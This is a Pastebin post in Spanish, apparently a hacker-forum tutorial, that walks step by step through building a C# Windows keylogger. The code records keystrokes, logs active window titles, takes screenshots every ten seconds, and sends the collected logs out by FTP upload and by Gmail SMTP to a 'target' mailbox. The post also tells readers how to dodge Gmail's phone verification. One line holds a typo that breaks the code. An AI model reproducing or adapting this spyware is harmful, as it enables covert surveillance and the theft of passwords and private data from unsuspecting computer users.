Advertisement
Doddy

[C#] Creacion de un Keylogger

Sep 5th, 2014
899
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.49 KB | None | 0 0
  1. [Titulo] : Creacion de un Keylogger
  2. [Lenguaje] : C#
  3. [Autor] : Doddy Hackman
  4.  
  5. [Temario]
  6.  
  7. -- =================--------
  8.  
  9. 0x01 : Introduccion
  10. 0x02 : Capturar Teclas
  11. 0x03 : Capturar el nombre de las ventanas activas
  12. 0x04 : Tomar un ScreenShot de la pantalla
  13. 0x05 : Subir logs a un servidor FTP
  14. 0x06 : Mandar logs por Mail
  15. 0x07 : Probando el programa
  16.  
  17. -- =================--------
  18.  
  19. 0x01 : Introduccion
  20.  
  21. Hola , hoy les traigo un manual sobre como hacer un keylogger en C# , en este manual les voy a enseñar o por lo menos lo voy a intentar sobre como capturar las teclas , nombres de las ventanas , tomar un screenshot de la pantalla para despues mandar los logs por Mail (usando Gmail) o subirlos a un servidor FTP.
  22.  
  23. Empecemos ...
  24.  
  25. Para empezar el keyloger tenemos que crear primero un nuevo proyecto de la siguiente forma :
  26.  
  27. Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
  28.  
  29. Como en la siguiente imagen :
  30.  
  31. [img]http://doddyhackman.webcindario.com/images/makeprokey.jpg[/img]
  32.  
  33. Una vez creado el proyecto vamos hacer el formulario completo para hacerlo de una para esto tienen que usar :
  34.  
  35. Los primeros 6 botones con el texto del boton :
  36.  
  37. Boton 1 - "Capture Keys ON"
  38. Boton 2 - "Capture Keys OFF"
  39.  
  40. Boton 3 - "Capture Windows ON"
  41. Boton 4 - "Capture Windows OFF"
  42.  
  43. Boton 5 - "Capture Screen ON"
  44. Boton 6 - "Capture Screen OFF"
  45.  
  46. Ahora pongan 3 labels con el texto de "OFF" abajo de cada funcion : keys,windows,screen.
  47.  
  48. Para terminar pongan dos botones finales con el siguiente texto :
  49.  
  50. Boton 7 - "Send logs for FTP"
  51. Boton 8 - "Send logs for Mail"
  52.  
  53. Quedando algo asi :
  54.  
  55. [img]http://doddyhackman.webcindario.com/images/keyformnow.jpg[/img]
  56.  
  57. Si quieren pueden ponerle como texto "Keylogger in C#" al formulario como en la imagen pero no es importante.
  58.  
  59. 0x02 : Capturar Teclas
  60.  
  61. Para poder capturar teclas necesitan poner este "using" al inicio del codigo para poder usar GetAsyncKeyState() :
  62.  
  63. [code]
  64. using System.Runtime.InteropServices;
  65. [/code]
  66.  
  67. Despues lo mas importante es agregar estas lineas despues de los "using" :
  68.  
  69. [code]
  70. [DllImport("User32.dll")]
  71. private static extern short GetAsyncKeyState(Keys teclas);
  72. [DllImport("user32.dll")]
  73. private static extern short GetAsyncKeyState(Int32 teclas);
  74. [DllImport("user32.dll")]
  75. private static extern short GetKeyState(Keys teclas);
  76. [DllImport("user32.dll")]
  77. private static extern short GetKeyState(Int32 teclas);
  78. [/code]
  79.  
  80. Para poder escribir los logs en un html necesitan usar mi funcion traducida originalmente desde perl a python,ruby,delphi y finalmente C# :
  81.  
  82. [code]
  83. public void savefile(string file, string texto)
  84. {
  85. //Function savefile() Coded By Doddy Hackman
  86. try
  87. {
  88. System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); // Abrimos para escribir en el archivo marcado
  89. save.Write(texto); // Escribimos en el archivo marcado con lo que hay en la variable texto
  90. save.Close(); // Cerramos el archivo
  91. }
  92. catch
  93. {
  94. //
  95. }
  96. }
  97. [/code]
  98.  
  99. Ahora tenemos que agregar el primer timer al formulario solo van al cuadro de herramientas y lo arrastran al formulario.
  100. Como va a ser el primero timer tendra el name de timer1 , entonces hacemos doble click timer1 para agregar el siguiente codigo.
  101.  
  102. [code]
  103. private void timer1_Tick(object sender, EventArgs e)
  104. {
  105.  
  106. // Keylogger Based on http://www.blackstuff.net/f44/c-keylogger-4848/
  107. // Thanks to Carlos Raposo
  108.  
  109. for (int num = 0; num <= 255; num++) // Usamos el int num para recorrer los numeros desde el 0 al 255
  110. {
  111. int numcontrol = GetAsyncKeyState(num); // Usamos GetAsyncKeyState para verificar si una tecla fue presionada usando el int numcontrol
  112. if (numcontrol == -32767) // Verificamos si numcontrol fue realmente presionado controlando que numcontrol sea -32767
  113. {
  114. if (num >= 65 && num <= 122) // Si el int num esta entre 65 y 122 ...
  115. {
  116. if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
  117. {
  118. // Si se detecta Shift y CapsLock ...
  119. string letra = Convert.ToChar(num+32).ToString(); // Le sumamos 32 a num y la convertimos a Char para formar la letra minuscula
  120. savefile("logs.html", letra); // Agregamos la letra al archivo de texto
  121. }
  122. else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
  123. {
  124. // Si se detecta Shift o CapsLock
  125. string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
  126. savefile("logs.html", letra); // Agregamos la letra al archivo de texto
  127. }
  128. else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
  129. {
  130. // Si se detecta CapsLock ...
  131. string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
  132. savefile("logs.html", letra); // Agregamos la letra al archivo de texto
  133.  
  134. }
  135. else
  136. {
  137. // Si no se detecta ni Shift ni CapsLock ...
  138. string letra = Convert.ToChar(num j+ 32).ToString(); // Formamos la letra minuscula sumandole 32 a num y convirtiendo num a Char
  139. savefile("logs.html", letra); // Agregamos la letra al archivo de texto
  140. }
  141. }
  142.  
  143. }
  144. }
  145.  
  146. }
  147. [/code]
  148.  
  149. Se deberia ver algo asi :
  150.  
  151. [img]http://doddyhackman.webcindario.com/images/keyformkeys.jpg[/img]
  152.  
  153. Como ven en este codigo explico como detectar mayusculas y minisculas , ya sea por Shift o CapsLock este codigo las detecta igual y guardas las teclas un log html usando la funcion savefile().
  154.  
  155. Ahora le hacemos doble click al primer boton , es el que activa la captura de las teclas "Capture Keys ON" , para poder poner el siguiente codigo :
  156.  
  157. [code]
  158. private void button1_Click(object sender, EventArgs e)
  159. {
  160. timer1.Enabled = true; // Activamos el timer1
  161. label1.Text = "ON"; // Ponemos "ON" como texto en label1
  162. }
  163. [/code]
  164.  
  165. Con este codigo vamos a poder activar la captura de las teclas pero para poder desactivar el timer y que no siga capturando tenemos que hacer doble click en el segundo boton , el que dice "Capture Keys OFF" para poner este codigo :
  166.  
  167. [code]
  168. private void button2_Click(object sender, EventArgs e)
  169. {
  170. timer1.Enabled = false; // Desactivamos el timer1
  171. label1.Text = "OFF";// Ponemos "OFF" como texto en label2
  172. }
  173. [/code]
  174.  
  175. Con eso ya estaria la captura de teclas mayusculas y minusculas.
  176.  
  177. 0x03 : Capturar el nombre de las ventanas activas
  178.  
  179. Para poder capturar el nombre de las ventanas activas tenemos que declarar las siguiente variables globales al inicio del codigo :
  180.  
  181. [code]
  182. string nombre1 = ""; // Declaramos la variable string nombre1 como vacia ("")
  183. string nombre2 = ""; // Declaramos la variable string nombre2 como vacia ("")
  184. [/code]
  185.  
  186. Estas lineas son necesarias para guardar los nombres de las ventanas y comparar para saber cual es la actual , para poder capturar el nombres de las ventanas activas tambien tenemos que agregar estas lineas al inicio del codigo :
  187.  
  188. [code]
  189. [DllImport("user32.dll")]
  190. static extern IntPtr GetForegroundWindow();
  191.  
  192. [DllImport("user32.dll")]
  193. static extern int GetWindowText(IntPtr ventana, StringBuilder cadena, int cantidad);
  194. [/code]
  195.  
  196.  
  197. Ahora tenemos que agregar el segundo timer al formulario , para hacerle doble click y agregar el siguiente codigo :
  198.  
  199. [code]
  200. private void timer2_Tick(object sender, EventArgs e)
  201. {
  202. const int limite = 256; // Declaramos un entero constante con valor de 256
  203. StringBuilder buffer = new StringBuilder(limite); // Declaramos un StringBuilder en buffer usando el int limite
  204. IntPtr manager = GetForegroundWindow(); // Declaramos manager como IntPtr usando GetForegroundWindow para poder
  205. // obtener el nombre de la ventana actual
  206.  
  207. if (GetWindowText(manager, buffer, limite) > 0) // Obtenemos el nombre de la ventana y lo almacenamos en buffer
  208. {
  209. nombre1 = buffer.ToString(); // Almacenamos el nombre de la ventana en nombre1
  210.  
  211. if (nombre1 != nombre2) // Si nombre1 y nombre2 no son iguales ...
  212. {
  213. nombre2 = nombre1; // nombre2 tendra el valor de nombre1
  214. savefile("logs.html", "<br>[" + nombre2 + "]<br>"); // Agregamos el nombre de la ventana en el archivo de texto
  215. }
  216. }
  217.  
  218. }
  219. [/code]
  220.  
  221. Como en la siguiente imagen :
  222.  
  223. [img]http://doddyhackman.webcindario.com/images/keyformsven.jpg[/img]
  224.  
  225. Ahora hacemos doble click en el tercer boton que se llama "Capture Windows ON" para poner el siguiente codigo :
  226.  
  227. [code]
  228. private void button3_Click(object sender, EventArgs e)
  229. {
  230. timer2.Enabled = true; // Activamos el timer2
  231. label2.Text = "ON"; //Ponemos "ON" como texto en label2
  232. }
  233. [/code]
  234.  
  235. Despues de eso hacemos doble click en el cuarto boton que se llama "Capture Windows OFF" para poner el siguiente codigo :
  236.  
  237. [code]
  238. private void button4_Click(object sender, EventArgs e)
  239. {
  240. timer2.Enabled = false; // Desactivamos el timer2
  241. label2.Text = "OFF"; // Ponemos "OFF" como texto en label2
  242. }
  243. [/code]
  244.  
  245. Con esto terminariamos la funcion de capturar las ventanas activas.
  246.  
  247. 0x04 : Tomar un ScreenShot de la pantalla
  248.  
  249. Para esta funcion lo primero que hay que hacer es agregar esta linea al inicio del codigo :
  250.  
  251. [code]
  252. using System.Drawing.Imaging;
  253. [/code]
  254.  
  255. Bien ahora para que el programa capture la pantalla cada cierto tiempo tenemos que agregar el tercer timer al formulario para ponerle como tiempo o Interval un valor de "10000" que serian 10 segundos porque el interval exige que el tiempo sea expresado en milisegundos.
  256. Despues de eso agregan esta funcion al inicio del codigo llamada screeshot() :
  257.  
  258. [code]
  259. public void screenshot(string nombre)
  260. {
  261. try
  262. {
  263. // ScreenShot Based on : http://www.dotnetjalps.com/2007/06/how-to-take-screenshot-in-c.html
  264. // Thanks to Jalpesh vadgama
  265.  
  266. int wid = Screen.GetBounds(new Point(0, 0)).Width; // Declaramos el int wid para calcular el tamaño de la pantalla
  267. int he = Screen.GetBounds(new Point(0, 0)).Height; // Declaramos el int he para calcular el tamaño de la pantalla
  268. Bitmap now = new Bitmap(wid, he); // Declaramos now como Bitmap con los tamaños de la pantalla
  269. Graphics grafico = Graphics.FromImage((Image)now); // Declaramos grafico como Graphics usando el declarado now
  270. grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he)); // Copiamos el screenshot con los tamaños de la pantalla
  271. // usando "grafico"
  272. now.Save(nombre, ImageFormat.Jpeg); // Guardamos el screenshot con el nombre establecido en la funcion
  273. }
  274. catch
  275. {
  276. //
  277. }
  278.  
  279. }
  280. [/code]
  281.  
  282. Para despues hacer doble click en el timer3 y poner el siguiente codigo :
  283.  
  284. [code]
  285. private void timer3_Tick(object sender, EventArgs e)
  286. {
  287. string fecha = DateTime.Now.ToString("h:mm:ss tt"); // Obtemos la hora actual usando DateTime y la guardamos en la
  288. // variable string con el nombre de fecha
  289. string nombrefinal = fecha.Trim() + ".jpg"; // Limpiamos la variable fecha de los espacios en blanco y le agregamos
  290. // ".jpg" al final para terminar de generar el nombre de la imagen
  291. string final = nombrefinal.Replace(":", "_"); // Reemplazamos los ":" de la hora por "_" para que no haya problemas
  292. // al crear la imagen
  293. screenshot(final); // Usamos la funcion screenshot() para mandar el nombre de la imagen que tiene la variable "final"
  294. // y asi realizar el screenshot
  295.  
  296. }
  297. [/code]
  298.  
  299. Viendose asi en el codigo :
  300.  
  301. [img]http://doddyhackman.webcindario.com/images/keyformscreen.jpg[/img]
  302.  
  303. Ahora la parte que me estaba olvidando hagan doble click en el quinto boton , el que tiene como texto "Capture Screen ON" y
  304. pongan el siguiente codigo :
  305.  
  306. [code]
  307. timer3.Enabled = true; // Activamos el timer3
  308. label3.Text = "ON"; // Ponemos "ON" como texto en label3
  309. [/code]
  310.  
  311. Ahora hagan doble click en el sexto boton , el que tiene como texto "Capture Screen OFF" y pongan el siguiente codigo :
  312.  
  313. [code]
  314. timer3.Enabled = false; // Desactivamos el timer3
  315. label3.Text = "OFF"; // Ponemos "OFF" como texto en label3
  316. [/code]
  317.  
  318. Con esto ya estaria terminada la parte de la captura de pantalla cada cierto tiempo , en este caso son cada 10 segundos.
  319.  
  320. 0x05 : Subir logs a un servidor FTP
  321.  
  322. Bien , ahora para poder enviar logs por FTP necesitamos agregar estas lineas al inicio del codigo :
  323.  
  324. [code]
  325. using System.Net;
  326. using System.IO;
  327. [/code]
  328.  
  329. Despues de uso tambien tenemos que agregar esta funcion al inicio del codigo que sirve para subir archivos a un servidor FTP marcado :
  330.  
  331. [code]
  332. public void FTP_Upload(string servidor, string usuario, string password, string archivo)
  333. {
  334. // Based on : http://madskristensen.net/post/simple-ftp-file-upload-in-c-20
  335.  
  336. try
  337. {
  338. WebClient ftp = new System.Net.WebClient(); // Iniciamos una instancia WebClient con "ftp"
  339. ftp.Credentials = new System.Net.NetworkCredential(usuario, password); // Establecemos el login
  340.  
  341. FileInfo dividir = new FileInfo(archivo); // Iniciamos una instancia FileInfo con "dividir"
  342. string solo_nombre = dividir.Name; // Capturamos solo el nombre de la ruta del archivo de "archivo"
  343.  
  344. ftp.UploadFile("ftp://"+servidor + "/" + solo_nombre, "STOR", archivo); // Subimos el archivo marcado con el siguiente
  345. // formato -> ftp://localhost/archivo-a-subir.txt al servidor FTP
  346. }
  347. catch
  348. {
  349. //
  350. }
  351. }
  352. [/code]
  353.  
  354. Ahora vamos hacer doble click sobre el septimo boton que tiene como texto "Send logs for FTP" para poner el siguiente codigo :
  355.  
  356. [code]
  357. private void button7_Click(object sender, EventArgs e)
  358. {
  359. FTP_Upload("localhost", "admin", "admin","logs.html"); // Usamos la funcion FTP_Upload para enviar el log por FTP
  360. // con los datos del servidor marcados
  361. }
  362. [/code]
  363.  
  364. Como ven tenemos "localhost" como servidor FTP y "admin" como usuario y password del servidor FTP , al final de la funcion tenemos "logs.html" que son los logs creados por el keylogger y listos para enviar al servidor FTP correspondiente.
  365. Para probarlos en su servidor FTP tienen que cambiar los valores de servidor , usuario y password.
  366.  
  367. Pasemos al siguiente punto
  368.  
  369. 0x06 : Mandar logs por Mail
  370.  
  371. Ahora vamos a ver como enviar los logs por mail , para poder hacerlo necesitan una cuenta en Gmail , si quieren registrarse en Gmail sin dar el telefono tienen que registrarte poniendo como direccion de correo alternativa una que sea con "@gmail.com" , en mi caso tambien puse la nacionalidad de Estados Unidos , no se si hace falta pero yo lo hice igual y safe de que me pidieran el telefono (no lo voy a dar ni muerto xD).
  372. Bien para poder enviar correos usando Gmail necesitamos poner esta linea al inicio del codigo :
  373.  
  374. [code]
  375. using System.Net.Mail;
  376. [/code]
  377.  
  378. Despues tenemos que poner esta funcion al inicio del codigo que es la que uso para enviar Mails a Gmail :
  379.  
  380. [code]
  381. public void Gmail_Send(string usuario, string password, string target, string asunto, string mensaje_texto, string rutaarchivo)
  382. {
  383.  
  384. // Based on : http://www.codeproject.com/Tips/160326/Using-Gmail-Account-to-Send-Emails-With-Attachment
  385.  
  386. MailAddress de = new MailAddress(usuario); // Establecemos la direccion de correo nuestra de Gmail para enviar el mail
  387. MailAddress a = new MailAddress(target); // Establecemos la direccion de correo que va a recibir el correo
  388.  
  389. MailMessage mensaje = new MailMessage(de, a); // Creamos la instancia MailMessage como "mensaje"
  390.  
  391. mensaje.Subject = asunto; // Establecemos en el mensaje el asunto
  392. mensaje.Body = mensaje_texto; // Establecemos en el mensaje el texto del correo
  393.  
  394. Attachment archivo = new Attachment(rutaarchivo); // Creamos la instancia Attachment como "archivo" donde marcamos la ruta del archivo adjunto que
  395. // esta en la variable "rutaarchivo"
  396.  
  397. mensaje.Attachments.Add(archivo); // Agregamos el archivo adjunto cargado anteriormente al "mensaje"
  398.  
  399. SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587); // Creamos la instancia SmtpClient como "gmailsender" ademas marcamos el host y
  400. // el puerto de Gmail
  401.  
  402. gmailsender.UseDefaultCredentials = false; // Desactivamos el UseDefaultCredentials en el "gmailsender"
  403. gmailsender.EnableSsl = true; // Activamos el SSL en el "gmailsender"
  404. gmailsender.Credentials = new NetworkCredential(usuario, password); // Establecemos el usuario y password de la cuenta nuestra de Gmail
  405.  
  406. gmailsender.Send(mensaje); // Enviamos el mensaje
  407.  
  408. }
  409. [/code]
  410.  
  411. Despues de eso hacemos doble click sobre el octavo y ultimo boton que tiene como texto "Send logs for Mail" para poner el siguiente codigo :
  412.  
  413. [code]
  414. private void button8_Click(object sender, EventArgs e)
  415. {
  416. Gmail_Send("tucorreo@gmail.com", "tupass", "target@hotmail.com", "Aca van los logs", "Disfruta los logs", "logs.html");
  417. // Usamos la funcion Gmail_Send para enviar el log por Mail usando nuestra cuenta de Gmail con los datos aclarados en los argumentos de la funcion
  418. }
  419. [/code]
  420.  
  421. Como ven en la funcion tenemos como argumentos , el correo y password de nuestra cuenta gmail que usamos para enviar los logs , despues tenemos el correo donde van a llegar los logs , despues tenemos el titulo del mensaje que es "Aca van los logs" y el contenido del mensaje donde tenemos "Disfruta los logs" y para terminar tenemos la ruta de los logs del keylogger que es "logs.html".
  422.  
  423. Con eso pasamos el ultimo punto.
  424.  
  425. 0x07 : Probando el programa
  426.  
  427. Bueno , creo que con esto cubrimos lo que es un keylogger basico (eso creo) , para probar solo tenemos que activar la captura de teclas , captura de ventanas y captura de screenshots desde su boton correspondiente , si queremos parar cierta funcion solo tenemos que hacer click sobre el boton de abajo correspondiente.
  428.  
  429. Se les deberia ver tal cual lo hicimos en el primer punto :
  430.  
  431. [img]http://doddyhackman.webcindario.com/images/keyformnow.jpg[/img]
  432.  
  433. Para mandar los logs por FTP solo hagan click en el boton "Send logs for FTP" y despues de unos segundos tendran subidos los logs al servidor FTP que marcaron en la funcion del punto anterior.
  434.  
  435. En mi servidor FTP local se puede ver como se subieron los logs : logs.html
  436.  
  437. [img]http://doddyhackman.webcindario.com/images/keyformtestftp.jpg[/img]
  438.  
  439. Lo mismo con el envio de logs por Mail con la diferencia de que ahora tienen que hacer click en el boton "Send logs for Mail" les dejo un ejemplo donde envio los logs a mi correo en hotmail :
  440.  
  441. [img]http://doddyhackman.webcindario.com/images/keyformtestmail.jpg[/img]
  442.  
  443. Si quieren pueden ver los logs en formato HTML , en mi caso podre leer algo como esto en Firefox :
  444.  
  445. [img]http://doddyhackman.webcindario.com/images/keyformkeytestfinal.jpg[/img]
  446.  
  447. Creo que eso seria todo ...
  448.  
  449. --========--
  450. The End ?
  451. --========--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement